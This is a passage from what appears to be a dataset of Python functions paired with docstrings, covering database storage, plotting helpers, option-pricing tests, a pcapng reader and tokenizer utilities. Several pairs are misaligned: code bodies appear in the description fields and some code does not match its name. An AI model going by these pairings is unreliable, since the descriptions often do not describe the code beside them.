imdbid, backlog=False):\n\n logging.info(u'{} results found for {}. Storing results.'.format(len(results), imdbid))\n\n BATCH_DB_STRING = []\n\n for result in results:\n DB_STRING = result\n DB_STRING['imdbid'] = imdbid\n if 'date_found' not in DB_STRING:\n DB_STRING['date_found'] = datetime.date.today()\n BATCH_DB_STRING.append(DB_STRING)\n\n if backlog:\n self.sql.purge_search_results(imdbid=imdbid)\n\n if BATCH_DB_STRING:\n if self.sql.write_search_results(BATCH_DB_STRING):\n return True\n else:\n return False\n else:\n return True\n", "nl": " Stores search results in database.:param results: list of dicts of search results:param imdbid: str imdb identification number (tt123456)backlog: Bool if this call is from a backlog search Writes batch of search results to table.If storing backlog search results, will purge existing results. This is becausebacklog searches pull all existing results from the table and re-score themas to not change the found_date. Purging lets us write old results back inwith updated scores and other info.Returns Bool on success/failure."} {"code": "def heuristic_cost(self, start, target):\n Breadth first search\n \"\"\"", "nl": " assumes start and target are an (x,y) grid (x1, y1) = start(x2, y2) = targetreturn abs(x1 - x2) + abs(y1 - y2)def get_min_f_score(self):print('TODO: cls_plan_search.get_min_f_score not implemented')return 1def search(self):print('TODO: not implemented - cls_plan_search.search()')self.lg.record_process('CLS_PLAN_SEARCH', 'running A* search')if self.target == self.current:print('starting point is target')self.lg.record_result('CLS_PLAN_SEARCH', 'Success - start == Target')return 0while self.opened:self.num_loops += 1self.lg.record_command('CLS_PLAN_SEARCH - Finished Plan', self.nme)#Utilities and Search Algorithms#(used by examples/ folder)def list_2_str(lst):return ', '.join(str(i) for i in lst)def find_path_BFS(Graph,n,m):"} {"code": "def _pprint(params, offset=0, printer=repr):\n options = np.get_printoptions()\n np.set_printoptions(precision=5, threshold=64, edgeitems=2)\n params_list = list()\n this_line_length = offset\n line_sep = ',\\n' + (1 + offset // 2) * ' '\n for i, (k, v) in enumerate(sorted(params.items())):\n if type(v) is float:\n this_repr = '%s=%s' % (k, str(v))\n else:\n this_repr = '%s=%s' % (k, printer(v))\n if len(this_repr) > 500:\n this_repr = this_repr[:300] + '...' + this_repr[-100:]\n if i > 0:\n if (this_line_length + len(this_repr) >= 75 or '\\n' in this_repr):\n params_list.append(line_sep)\n this_line_length = len(line_sep)\n else:\n params_list.append(', ')\n this_line_length += 2\n params_list.append(this_repr)\n this_line_length += len(this_repr)\n\n np.set_printoptions(**options)\n lines = ''.join(params_list)\n lines = '\\n'.join(li.rstrip(' ') for li in lines.split('\\n'))\n return lines\n\n", "nl": "Pretty print the dictionary 'params' (copied from sklearn)Parameters----------params : dictThe dictionary to pretty printoffset : intThe offset in characters to add at the begin of each line.printer : callableThe function to convert entries to strings, typicallythe builtin str or reprReturns-------lines : strThe pretty print of the dictionary as a string."} {"code": "def findMatchesAvailable(url=\"http://static.cricinfo.com/rss/livescores.xml\"):\n logger.info(\"Entry point for findMatchesAvailable\")\n try:\n r = requests.get(url)\n except:\n logger.error(\"not able to reach the site to get the match info!!\")\n exitApp()\n\n soup = BeautifulSoup(r.text)\n xml = soup.find_all(\"item\")\n matches = map(lambda item: re.sub(r'\\s+', \" \", re.sub('\\\n [^A-Za-z ]+', '', item.title.text)), xml)\n return (xml, matches)", "nl": "Find all the matches available for the day.:param url: url for the matches for the day.:param url: `str`:return: a tuple of xml and matches."} {"code": "def test_rgb(h, f):\n if len(h) >= 3 and h[0] == 'P' and h[1] in '14' and h[2] in ' \\t\\n\\r':\n return 'pbm'\n\n\ntests.append(test_pbm)\n", "nl": "SGI image libraryif h[:2] == '\\x01':return 'rgb'tests.append(test_rgb)def test_pbm(h, f):PBM (portable bitmap)"} {"code": "def bytesInRange(address, range):\n\tif arch == 32:\n\t\tbyte1,byte2,byte3,byte4 = splitAddress(address)\n\n\t\tif not (byte1 == 0 or byte1 in range):\n\t\t\treturn False\n\t\telif not byte2 in range:\n\t\t\treturn False\n\t\telif not byte3 in range:\n\t\t\treturn False\n\t\telif not byte4 in range:\n\t\t\treturn False\n\n\tif arch == 64:\n\t\tbyte1,byte2,byte3,byte4,byte5,byte6,byte7,byte8 = splitAddress(address)\n\n\t\tif not (byte1 == 0 or byte1 in range):\n\t\t\treturn False\n\t\telif not byte2 in range:\n\t\t\treturn False\n\t\telif not byte3 in range:\n\t\t\treturn False\n\t\telif not byte4 in range:\n\t\t\treturn False\n\t\telif not byte5 in range:\n\t\t\treturn False\n\t\telif not byte6 in range:\n\t\t\treturn False\n\t\telif not byte7 in range:\n\t\t\treturn False\n\t\telif not byte8 in range:\n\t\t\treturn False\n\n\treturn True\n", "nl": "Checks if all bytes of an address are in a rangeArguments:address - the address to checkrange - a range object containing the values all bytes need to comply withReturn:a boolean"} {"code": "def get_diag_weighting_matrix(empirical_moments, weights=None):\n weights = copy.deepcopy(weights)\n empirical_moments = copy.deepcopy(empirical_moments)\n empirical_moments = _harmonize_input(empirical_moments)\n\n if weights is None:\n flat_weights = _flatten_index(empirical_moments)\n flat_weights[:] = 1\n\n else:\n weights = _harmonize_input(weights)\n\n weights = {\n name: weight.reindex_like(empirical_moments[name])\n for name, weight in weights.items()\n }\n\n flat_weights = _flatten_index(weights)\n flat_empirical_moments = _flatten_index(empirical_moments)\n flat_weights = flat_weights.reindex_like(flat_empirical_moments)\n\n return np.diag(flat_weights)\n\n", "nl": "Create a diagonal weighting matrix from weights.Parameters----------empirical_moments : pandas.DataFrame or pandas.Series or dict or listContains the empirical moments calculated for the observed data. Moments shouldbe saved to pandas.DataFrame or pandas.Series that can either be passed to thefunction directly or as items of a list or dictionary.weights : pandas.DataFrame or pandas.Series or dict or listContains weights (usually variances) of empirical moments. Must match structureof empirical_moments i.e. if empirical_moments is a list of pandas.DataFrames,weights must be list of pandas.DataFrames as well where each DataFrame entrycontains the weight for the corresponding moment in empirical_moments.Returns-------numpy.ndarrayArray contains a diagonal weighting matrix."} {"code": "def cos(self) -> NumericValue:\n from ibis.expr import operations as ops\n\n return ops.Cot(self).to_expr()\n", "nl": "Compute the cosine of `self`.from ibis.expr import operations as opsreturn ops.Cos(self).to_expr()def cot(self) -> NumericValue:Compute the cotangent of `self`."} {"code": "def stop_download(self) -> None:\n\n if self._download is None:\n raise NotDownloadingStream(\"Not currently downloading the stream!\")\n\n if self._download.ffmpeg.process is None:\n raise DownloadProcessNotFound(\"Download process not found. You are likely stopping the download before the ffmpeg process has opened. Add a delay!\")\n\n os.kill(self._download.ffmpeg.process.pid, signal.CTRL_BREAK_EVENT)\n\n if self._download.verbose:\n logging.warning(\n f\"Stopped the download to path \\\"{self._download.path}\\\" on user @{self.unique_id} after \"\n f\"\\\"{int(datetime.utcnow().timestamp()) - self._download.started_at} seconds\\\" of downloading\"\n )\n\n @property", "nl": "Stop downloading a livestream if currently downloading:return: None:raises NotDownloadingStream: Raised if trying to stop when not downloading and:raises DownloadProcessNotFound: Raised if stopping before the ffmpeg process has opened"} {"code": "def find_programdata_vs_vers(self):\n vs_versions = {}\n instances_dir = \\\n r'C:\\ProgramData\\Microsoft\\VisualStudio\\Packages\\_Instances'\n\n try:\n hashed_names = listdir(instances_dir)\n\n except (OSError, IOError):\n return vs_versions\n\n for name in hashed_names:\n try:\n state_path = join(instances_dir, name, 'state.json')\n with open(state_path, 'rt', encoding='utf-8') as state_file:\n state = json.load(state_file)\n vs_path = state['installationPath']\n\n listdir(join(vs_path, r'VC\\Tools\\MSVC'))\n\n vs_versions[self._as_float_version(\n state['installationVersion'])] = vs_path\n\n except (OSError, IOError, KeyError):\n continue\n\n return vs_versions\n\n @staticmethod", "nl": "rFind Visual studio 2017+ versions from information in\"C:\\ProgramData\\Microsoft\\VisualStudio\\Packages\\_Instances\".Return------dictfloat version as key, path as value."} {"code": "def nframes(self, nsamples):\n if self.samples_per_shift == 0:\n raise ValueError('cannot compute nframes: sample rate too low')\n\n return int(kaldi.feat.window.num_frames(\n nsamples, self._options, flush=True))\n", "nl": "Returns the number of frames extracted from `nsamples`This function returns the number of frames that we can extractfrom a wave file with the given number of samples in it(assumed to have the same sampling rate as specified in init).Parameters----------nsamples : intThe number of samples in the inputReturns-------nframes : intThe number of frames extracted from `nsamples`Raises------ValueErrorIf ``samples_per_shift == 0``, meaning the sample rate isto low w.r.t the frame shift."} {"code": "def open_http(self, url, data=None):\n\n Derived class can override this, or provide specific handlers\n named http_error_DDD where DDD is the 3-digit error code.\"\"\"", "nl": "Use HTTP protocol.return self._open_generic_http(http_client.HTTPConnection, url, data)def http_error(self, url, fp, errcode, errmsg, headers, data=None):Handle http errors."} {"code": "def test_price_mc(self):\n for no in [1, 2, 3]:\n m, p, rv = pfex.HestonMcAndersen2008.init_benchmark(no)\n m.set_num_params(n_path=1e5, dt=1/8, rn_seed=123456)\n m.correct_fwd = False\n\n vol0 = pf.Bsm(None, intr=m.intr, divr=m.divr).impvol(rv['val'], **rv['args_pricing'])\n\n vol1 = m.vol_smile(**rv['args_pricing'])\n np.testing.assert_allclose(vol0, vol1, atol=5e-3)\n np.testing.assert_allclose(m.result['spot error'], 0, atol=2e-3)\n\n m, *_ = pfex.HestonMcGlassermanKim2011.init_benchmark(no)\n m.set_num_params(n_path=1e5, rn_seed=123456, kk=10)\n m.correct_fwd = False\n vol1 = m.vol_smile(**rv['args_pricing'])\n np.testing.assert_allclose(vol0, vol1, atol=5e-3)\n np.testing.assert_allclose(m.result['spot error'], 0, atol=2e-3)\n\n m, *_ = pfex.HestonMcTseWan2013.init_benchmark(no)\n m.set_num_params(n_path=1e5, rn_seed=123456, dt=1)\n m.correct_fwd = False\n vol1 = m.vol_smile(**rv['args_pricing'])\n np.testing.assert_allclose(vol0, vol1, atol=5e-3)\n np.testing.assert_allclose(m.result['spot error'], 0, atol=2e-3)\n\n m, *_ = pfex.HestonMcChoiKwok2023.init_benchmark(no)\n m.correct_fwd = False\n m.set_num_params(n_path=1e5, rn_seed=123456, kk=10, dt=None)\n vol1 = m.vol_smile(**rv['args_pricing'])\n np.testing.assert_allclose(vol0, vol1, atol=5e-3)\n np.testing.assert_allclose(m.result['spot error'], 0, atol=2e-3)\n\n m.set_num_params(n_path=1e5, rn_seed=123456, kk=1, dt=1/4)\n vol1 = m.vol_smile(**rv['args_pricing'])\n np.testing.assert_allclose(vol0, vol1, atol=5e-3)\n np.testing.assert_allclose(m.result['spot error'], 0, atol=2e-3)\n\n\nif __name__ == \"__main__\":\n print(f\"Pyfeng loaded from {pf.__path__}\")\n unittest.main()", "nl": "Compare the implied vol of the benchmark cases"} {"code": "def get_special_tokens_mask(self, token_ids_0, token_ids_1=None, already_has_special_tokens=False):\n return [0] * ((len(token_ids_1) if token_ids_1 else 0) + len(token_ids_0))\n", "nl": "Retrieves sequence ids from a token list that has no special tokens added. This method is called when addingspecial tokens using the tokenizer ``prepare_for_model`` or ``encode_plus`` methods.Args:token_ids_0: list of ids (must not contain special tokens)token_ids_1: Optional list of ids (must not contain special tokens), necessary when fetching sequence idsfor sequence pairsalready_has_special_tokens: (default False) Set to True if the token list is already formated withspecial tokens for the modelReturns:A list of integers in the range [0, 1]: 1 for a special token, 0 for a sequence token."} {"code": "def test_newline_before_list(self):\n self.assert_html2creole(r\"\"\"\n foo
  • one
\n \"\"\")", "nl": "http://code.google.com/p/python-creole/issues/detail?id=16"} {"code": "def __xor__(self, other ):\n if isinstance( other, basestring ):\n other = ParserElement._literalStringClass( other )\n if not isinstance( other, ParserElement ):\n warnings.warn(\"Cannot combine element of type %s with ParserElement\" % type(other),\n SyntaxWarning, stacklevel=2)\n return None\n return Or( [ self, other ] )\n", "nl": "Implementation of ^ operator - returns :class:`Or`"} {"code": "def _reindex_output(self, result):\n\n groupings = self.grouper.groupings\n if groupings is None:\n return result\n elif len(groupings) == 1:\n return result\n\n elif self.observed:\n return result\n\n elif not any(isinstance(ping.grouper, (Categorical, CategoricalIndex))\n for ping in groupings):\n return result\n\n levels_list = [ping.group_index for ping in groupings]\n index, _ = MultiIndex.from_product(\n levels_list, names=self.grouper.names).sortlevel()\n\n if self.as_index:\n d = {self.obj._get_axis_name(self.axis): index, 'copy': False}\n return result.reindex(**d)\n\n\n in_axis_grps = [(i, ping.name) for (i, ping)\n in enumerate(groupings) if ping.in_axis]\n g_nums, g_names = zip(*in_axis_grps)\n\n result = result.drop(labels=list(g_names), axis=1)\n\n result = result.set_index(self.grouper.result_index\n ).reindex(index, copy=False)\n\n result = result.reset_index(level=g_nums)\n\n return result.reset_index(drop=True)\n", "nl": "If we have categorical groupers, then we want to make sure thatwe have a fully reindex-output to the levels. These may have notparticipated in the groupings (e.g. may have all beennan groups);This can re-expand the output space"} {"code": "def _masking_ngrams(grams, max_ngram_size, max_masked_tokens, rng):\n if not grams:\n return None\n\n grams = sorted(grams)\n num_tokens = grams[-1].end\n\n for a, b in _window(grams, 2):\n if a.end > b.begin:\n raise ValueError(\"overlapping grams: {}\".format(grams))\n\n ngrams = {i: [] for i in range(1, max_ngram_size+1)}\n for gram_size in range(1, max_ngram_size+1):\n for g in _window(grams, gram_size):\n if _contiguous(g):\n ngrams[gram_size].append(_Gram(g[0].begin, g[-1].end))\n\n for v in ngrams.values():\n rng.shuffle(v)\n\n cummulative_weights = list(\n itertools.accumulate([1./n for n in range(1, max_ngram_size+1)]))\n\n output_ngrams = []\n masked_tokens = [False] * num_tokens\n while (sum(masked_tokens) < max_masked_tokens and\n sum(len(s) for s in ngrams.values())):\n sz = random.choices(range(1, max_ngram_size+1),\n cum_weights=cummulative_weights)[0]\n\n if sum(masked_tokens) + sz > max_masked_tokens:\n ngrams[sz].clear()\n continue\n\n if not ngrams[sz]:\n continue\n\n gram = ngrams[sz].pop()\n num_gram_tokens = gram.end-gram.begin\n\n if num_gram_tokens + sum(masked_tokens) > max_masked_tokens:\n continue\n\n if sum(masked_tokens[gram.begin:gram.end]):\n continue\n\n masked_tokens[gram.begin:gram.end] = [True] * (gram.end-gram.begin)\n output_ngrams.append(gram)\n return output_ngrams\n\n", "nl": "Create a list of masking {1, ..., n}-grams from a list of one-grams.This is an extention of 'whole word masking' to mask multiple, contiguouswords such as (e.g., \"the red boat\").Each input gram represents the token indices of a single word,words: [\"the\", \"red\", \"boat\"]tokens: [\"the\", \"red\", \"boa\", \"##t\"]grams: [(0,1), (1,2), (2,4)]For a `max_ngram_size` of three, possible outputs masks include:1-grams: (0,1), (1,2), (2,4)2-grams: (0,2), (1,4)3-grams; (0,4)Output masks will not overlap and contain less than `max_masked_tokens` totaltokens. E.g., for the example above with `max_masked_tokens` as three,valid outputs are,[(0,1), (1,2)] # \"the\", \"red\" covering two tokens[(1,2), (2,4)] # \"red\", \"boa\", \"##t\" covering three tokensThe length of the selected n-gram follows a zipf weighting tofavor shorter n-gram sizes (weight(1)=1, weight(2)=1/2, weight(3)=1/3, ...).Args:grams: List of one-grams.max_ngram_size: Maximum number of contiguous one-grams combined to createan n-gram.max_masked_tokens: Maximum total number of tokens to be masked.rng: `random.Random` generator.Returns:A list of n-grams to be used as masks."} {"code": "def __add_fixpointnumber(self, encoded: FixedPointNumber) -> '__class__':\n if self.public_key.n != encoded.n:\n raise ValueError(\n \"Attempted to add numbers encoded against different public keys!\")\n\n x, y = self.__align_exponent(self, encoded)\n\n encrypted_scalar = raw_encrypt(\n y.encoding, x.public_key, 1)\n encryptednumber = self.__raw_add(\n x.ciphertext(False), encrypted_scalar, x.exponent)\n\n return encryptednumber\n", "nl": "return PaillierEncryptedNumber: z = E(x) + FixedPointNumber(y)"} {"code": "def _send_msg(self, msg, operation, vlan_tagging_operation_msg):\n if operation == 'create':\n frame = msg.create()\n elif operation == 'set':\n frame = msg.set()\n else:\n frame = msg.delete()\n self.log.debug('openomci-msg', omci_msg=msg)\n self.strobe_watchdog()\n results = yield self._device.omci_cc.send(frame)\n self.check_status_and_state(results, vlan_tagging_operation_msg)\n", "nl": "Send frame to ONU.:param msg: (VlanTaggingFilterDataFrame/ExtendedVlanTaggingOperationConfigurationDataFrame) message usedto generate OMCI frame:param operation: (str) type of CUD(Create/Update/Delete) operation:param vlan_tagging_operation_msg: (str) what operation was being performed"} {"code": "def clear_memo(self):\n self.memo.clear()\n", "nl": "Clears the pickler's \"memo\".The memo is the data structure that remembers which objects thepickler has already seen, so that shared or recursive objects arepickled by reference and not by value. This method is useful whenre-using picklers."} {"code": "def _load_template(dev_path):\n name = 'script.tmpl'\n if dev_path:\n name = name.replace('.tmpl', ' (dev).tmpl')\n\n raw_bytes = resource_string('setuptools', name)\n return raw_bytes.decode('utf-8')\n", "nl": "There are a couple of template scripts in the package. Thisfunction loads one of them and prepares it for use."} {"code": "def __init__(self, actions, unit_id, citytile, **kwarg):\n self.actions = list(actions)\n self.unit_id = unit_id\n self.citytile = citytile\n self.kwarg = kwarg\n", "nl": "Defines a sequence of actions, to be taken each time the unit or city can next move.Example usage of constructor:sequence = ActionSequence(actions=[partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),],game=game,unit_id=unit.id if unit else None,unit=unit,city_id=city_tile.city_id if city_tile else None,citytile=city_tile,team=team,x=x,y=y)match_controller.take_action(sequence)Example usage as part of the template agent_policy.py action space:self.actionSpaceMap = [partial(MoveAction, direction=Constants.DIRECTIONS.CENTER), # This is the do-nothing actionpartial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.WEST),partial(MoveAction, direction=Constants.DIRECTIONS.SOUTH),partial(MoveAction, direction=Constants.DIRECTIONS.EAST),partial(ActionSequence, actions=[partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),partial(MoveAction, direction=Constants.DIRECTIONS.NORTH),]),...]You can override this class with more complex logic, eg sequenceslike 'move to nearest city'"} {"code": "def ToProto(self) -> hyperparams_pb2.Hyperparam:\n", "nl": "Writes to a Hyperparams proto.Serializes the Hyperparams into a proto that can be then written to disk orsent over the network. Note that serialization is not guaranteed to beunique or stable (this is a feature of protos themselves, not this code), sousing it for fingerprinting for example may not be appropriate. Refer to theToText() method for a serialization approach that Lingvo controls.Returns:The serialized params as a Hyperparams proto."} {"code": "def test_parallel(self):\n\n expected_output = {\"var1\": \"xyz\", \"var2\": 123}\n", "nl": "wf_def = version: 1.0description: A basic branching workflow.vars:- var1: abc- var2: 234tasks:# branch 1task1:action: core.noopnext:- when: <% succeeded() %>publish:- var1: 'xyz'do: task2task2:action: core.noop# branch 2task3:action: core.noopnext:- when: <% succeeded() %>publish:- var2: 123do: task4task4:action: core.noopoutput:- var1: <% ctx().var1 %>- var2: <% ctx().var2 %>"} {"code": "def generate_name(self, generate_name):\n\n self._generate_name = generate_name\n\n @property", "nl": "Sets the generate_name of this V1alpha1SubmitOpts.GenerateName overrides metadata.generateName # noqa: E501:param generate_name: The generate_name of this V1alpha1SubmitOpts. # noqa: E501:type: str"} {"code": "def formatweekday(self, day):\n return '%s' % (\n self.cssclasses_weekday_head[day], day_abbr[day])\n", "nl": "Return a weekday name as a table header."} {"code": "def set_extraction_path(self, path):\n if self.cached_files:\n raise ValueError(\n \"Can't change extraction path, files already extracted\"\n )\n\n self.extraction_path = path\n", "nl": "Set the base path where resources will be extracted to, if needed.If you do not call this routine before any extractions take place, thepath defaults to the return value of ``get_default_cache()``. (Whichis based on the ``PYTHON_EGG_CACHE`` environment variable, with variousplatform-specific fallbacks. See that routine's documentation for moredetails.)Resources are extracted to subdirectories of this path based uponinformation given by the ``IResourceProvider``. You may set this to atemporary directory, but then you must call ``cleanup_resources()`` todelete the extracted files when done. There is no guarantee that``cleanup_resources()`` will be able to remove all extracted files.(Note: you may not change the extraction path for a given resourcemanager once resources have been extracted, unless you first call``cleanup_resources()``.)"} {"code": "def bytestring_to_pdf(html_data, output_file, **extra_args):\n return bytestring_to(file_to_pdf, html_data, output_file, **extra_args)\n\n", "nl": "Given a bytestring of html data as input(like a rendered django template response),render a PDF and write the output to output_file:param html_data: bytestring of html data:param output_file: file like object to write to:param extra_args: additional command line arguments to chrome:return:"} {"code": "def parse_group(cls, group, lines, dist=None):\n if isinstance(data, dict):\n data = data.items()\n else:\n data = split_sections(data)\n maps = {}\n for group, lines in data:\n if group is None:\n if not lines:\n continue\n raise ValueError(\"Entry points must be listed in groups\")\n group = group.strip()\n if group in maps:\n raise ValueError(\"Duplicate group name\", group)\n maps[group] = cls.parse_group(group, lines, dist)\n return maps\n\n", "nl": "Parse an entry point groupif not MODULE(group):raise ValueError(\"Invalid group name\", group)this = {}for line in yield_lines(lines):ep = cls.parse(line, dist)if ep.name in this:raise ValueError(\"Duplicate entry point\", group, ep.name)this[ep.name] = epreturn this@classmethoddef parse_map(cls, data, dist=None):Parse a map of entry point groups"} {"code": "def get_id_pack(obj):\n if hasattr(obj, '____id_pack__'):\n return obj.____id_pack__\n elif inspect.ismodule(obj) or getattr(obj, '__name__', None) == 'module':\n if isinstance(obj, type):\n obj_cls = type(obj)\n name_pack = '{0}.{1}'.format(obj_cls.__module__, obj_cls.__name__)\n return (name_pack, id(type(obj)), id(obj))\n else:\n if inspect.ismodule(obj) and obj.__name__ != 'module':\n if obj.__name__ in sys.modules:\n name_pack = obj.__name__\n else:\n name_pack = '{0}.{1}'.format(obj.__class__.__module__, obj.__name__)\n elif inspect.ismodule(obj):\n name_pack = '{0}.{1}'.format(obj.__module__, obj.__name__)\n print(name_pack)\n elif hasattr(obj, '__module__'):\n name_pack = '{0}.{1}'.format(obj.__module__, obj.__name__)\n else:\n obj_cls = type(obj)\n name_pack = '{0}'.format(obj.__name__)\n return (name_pack, id(type(obj)), id(obj))\n elif not inspect.isclass(obj):\n name_pack = '{0}.{1}'.format(obj.__class__.__module__, obj.__class__.__name__)\n return (name_pack, id(type(obj)), id(obj))\n else:\n name_pack = '{0}.{1}'.format(obj.__module__, obj.__name__)\n return (name_pack, id(obj), 0)\n\n", "nl": "introspects the given \"local\" object, returns id_pack as expected by BaseNetrefThe given object is \"local\" in the sense that it is from the local cache. Any object in the local cache existsin the current address space or is a netref. A netref in the local cache could be from a chained-connection.To handle type related behavior properly, the attribute `__class__` is a descriptor for netrefs.So, check thy assumptions regarding the given object when creating `id_pack`."} {"code": "def deriv(self, x, y):\n return np.zeros_like(x)\n\n\nclass Competitive:\n\n \"\"\"\n\n out_minmax = [0, 1]\n inp_active = [-np.Inf, np.Inf]\n", "nl": "Derivative of transfer function HardLims"} {"code": "def test_should_honor_hosts_decorator(self):\n hostlist = ['a', 'b', 'c']\n\n @hosts(*hostlist[:])", "nl": "should honor @hosts on passed-in task objects"} {"code": "def test_campaign_prepare_record(self, mocked_parse, mocked_sleep):\n\n mocked_campaign = Mock()\n mocked_campaign.api_get = Mock()\n mocked_campaign.__getitem__ = Mock()\n mocked_campaign.api_get.side_effect = ConnectionError\n\n mocked_account = Mock()\n mocked_account.get_campaigns = Mock()\n mocked_account.get_campaigns.side_effect = [[mocked_campaign]]\n\n campaign_object = Campaigns('', mocked_account, '', '', '')\n with self.assertRaises(ConnectionError):\n for message in campaign_object:\n pass\n\n self.assertEquals(mocked_campaign.api_get.call_count, 5)\n", "nl": "__iter__ of Campaigns calls a function _iterate which calls a nested prepare_record function.Prepare_record calls a `facebook_business` method,`ad.api_get()`, to get a ad fields.We mock this method to raise a `ConnectionError` and expect the tap to retry this that function up to 5 times,which is the current hard coded `max_tries` value."} {"code": "def __next__(self):\n pkt = self.read_packet()\n if pkt == None:\n raise StopIteration\n return pkt\n", "nl": "implement the iterator protocol on a set of packets in a pcapng filepkt = self.read_packet()if pkt == None:raise StopIterationreturn pktdef read_packet(self, size = MTU):while True:buf = self._read_bytes(4, check = False)if len(buf) == 0:return Noneelif len(buf) != 4:raise IOError(\"PacketNGReader: Premature end of file\")block_type, = struct.unpack(self.endian + 'i', buf)if block_type == 168627466: #Section Header b'\\x0a\\x0d\\x0d\\x0a'self.read_section_header()elif block_type == 1:self.read_interface_description()elif block_type == 6:return self.read_enhanced_packet(size)else:warning(\"PacketNGReader: Unparsed block type %d/#%x\" % (block_type, block_type))self.read_generic_block()def _read_bytes(self, n, check = True):buf = self.filep.read(n)if check and len(buf) < n:raise IOError(\"PacketNGReader: Premature end of file\")return bufdef read_generic_block(self):block_length, = struct.unpack(self.endian + 'I', self._read_bytes(4))self._read_bytes(block_length - 12)self._check_length(block_length)def read_section_header(self):buf = self._read_bytes(16)if buf[4:8] == b'\\x1a\\x2b\\x3c\\x4d':self.endian = '>'elif buf[4:8] == b'\\x4d\\x3c\\x2b\\x1a':self.endian = '<'else:raise Kamene_Exception('Cannot read byte order value')block_length, _, major_version, minor_version, section_length = struct.unpack(self.endian + 'IIHHi', buf)options = self._read_bytes(block_length - 24)if options:opt = self.parse_options(options)for i in opt.keys():if not i & (0b1 << 15):warning(\"PcapNGReader: Unparsed option %d/#%x in section header\" % (i, i))self._check_length(block_length)def read_interface_description(self):buf = self._read_bytes(12)block_length, self.linktype, reserved, self.snaplen = struct.unpack(self.endian + 'IHHI', buf)options = self._read_bytes(block_length - 20)tsresol = 6if options:opt = self.parse_options(options)for i in opt.keys():if 9 in opt:tsresol = opt[9][0]elif not i & (0b1 << 15):warning(\"PcapNGReader: Unparsed option %d/#%x in enhanced packet block\" % (i, i))self.tsresol.append(tsresol)try:self.LLcls.append(conf.l2types[self.linktype])except KeyError:warning(\"RawPcapReader: unknown LL type [%i]/[%#x]. Using Raw packets\" % (self.linktype,self.linktype))self.LLcls.append(conf.raw_layer)self._check_length(block_length)def read_enhanced_packet(self, size = MTU):buf = self._read_bytes(24)block_length, interface, ts_high, ts_low, caplen, wirelen = struct.unpack(self.endian + 'IIIIII', buf)timestamp = (ts_high << 32) + ts_lowpkt = self._read_bytes(align32(caplen))[:caplen]options = self._read_bytes(block_length - align32(caplen) - 32)if options:opt = self.parse_options(options)for i in opt.keys():if not i & (0b1 << 15):warning(\"PcapNGReader: Unparsed option %d/#%x in enhanced packet block\" % (i, i))self._check_length(block_length)tsresol = self.tsresol[interface]return pkt[:MTU], interface, (self.parse_sec(tsresol, timestamp), self.parse_usec(tsresol, timestamp), wirelen)def parse_sec(self, tsresol, t):if tsresol & 0b10000000:return t >> (tsresol & ~0b10000000)else:if tsresol == 0:return t // pow(10, 6)else:return t // pow(10, tsresol)def parse_usec(self, tsresol, t):if tsresol & 0b10000000:return (t & (1 << (tsresol & ~0b10000000)) - 1) / pow(2, (tsresol & ~0b10000000)) * pow(10, 6)else:if tsresol == 0:return (t % pow(10, 6))else:return (t % pow(10, tsresol)) / pow(10, tsresol - 6)def parse_options(self, opt):buf = optoptions = {}while buf:opt_type, opt_len = struct.unpack(self.endian + 'HH', buf[:4])if opt_type == 0:return optionsoptions[opt_type] = buf[4:4 + opt_len]buf = buf[ 4 + align32(opt_len):]return optionsdef _check_length(self, block_length):check_length, = struct.unpack(self.endian + 'I', self._read_bytes(4))if check_length != block_length:raise Kamene_Exception('Block length values are not equal')class _RawPcapOldReader:def __init__(self, filep, endianness):self.endian = endiannessself.f = filephdr = self.f.read(20)if len(hdr)<20:raise Kamene_Exception(\"Invalid pcap file (too short)\")vermaj,vermin,tz,sig,snaplen,linktype = struct.unpack(self.endian+\"HHIIII\",hdr)self.linktype = linktypetry:self.LLcls = [conf.l2types[self.linktype]]except KeyError:warning(\"RawPcapReader: unknown LL type [%i]/[%#x]. Using Raw packets\" % (self.linktype,self.linktype))self.LLcls = [conf.raw_layer]def __iter__(self):return selfdef __next__(self):implement the iterator protocol on a set of packets in a pcap file"} {"code": "def _get_modpkg_path(dotted_name, pathlist=None):\n parts = dotted_name.split('.', 1)\n\n if len(parts) > 1:\n try:\n file, pathname, description = imp.find_module(parts[0], pathlist)\n if file:\n file.close()\n except ImportError:\n return None\n\n if description[2] == imp.PKG_DIRECTORY:\n pathname = _get_modpkg_path(parts[1], [pathname])\n else:\n pathname = None\n else:\n try:\n file, pathname, description = imp.find_module(\n dotted_name, pathlist)\n if file:\n file.close()\n if description[2] not in [imp.PY_SOURCE, imp.PKG_DIRECTORY]:\n pathname = None\n except ImportError:\n pathname = None\n\n return pathname\n\n", "nl": "Get the filesystem path for a module or a package.Return the file system path to a file for a module, and to a directory fora package. Return None if the name is not found, or is a builtin orextension module."} {"code": "def PPSETTIME(self, time):\n fcntl.ioctl(self._fd, PPSETTIME, floatToTimeval(time))\n", "nl": "Sets the time-out (see PPGETTIME for more information).'time' is the new time-out in seconds; floating-point valuesare acceptable."} {"code": "def set_random_seed():\n meters = {}\n meters[\"CELoss\"] = ScalarMeter(\"{}_CELoss\".format(phase))\n for k in FLAGS.topk:\n meters[\"top{}_accuracy\".format(k)] = ScalarMeter(\n \"{}_top{}_accuracy\".format(phase, k)\n )\n\n if hasattr(model, 'module') and hasattr(model.module, \"__losses__\"):\n loss_info = model.module.__losses__\n for i in range(1, len(loss_info)):\n meters[loss_info[i][0]] = ScalarMeter(\n \"{}_{}\".format(loss_info[i][0], phase)\n )\n meters[\"total_loss\"] = ScalarMeter(\"{}_total_loss\".format(phase))\n\n return meters\n\n", "nl": "set random seedif hasattr(FLAGS, \"random_seed\"):seed = FLAGS.random_seedelse:seed = 0random.seed(seed)np.random.seed(seed)torch.manual_seed(seed)torch.cuda.manual_seed(seed)torch.cuda.manual_seed_all(seed)def get_meters(phase, model):util function for meters"} {"code": "def train(self, dataset, remaining_time_budget=None):\n\n self.tf_dataset_trainsformer.init_test_tfds(dataset)\n\n self.set_domain_dataset(dataset, is_training=False)\n\n if self.domain in ['text', 'speech'] and \\\n (not self.domain_metadata['test_num'] >= 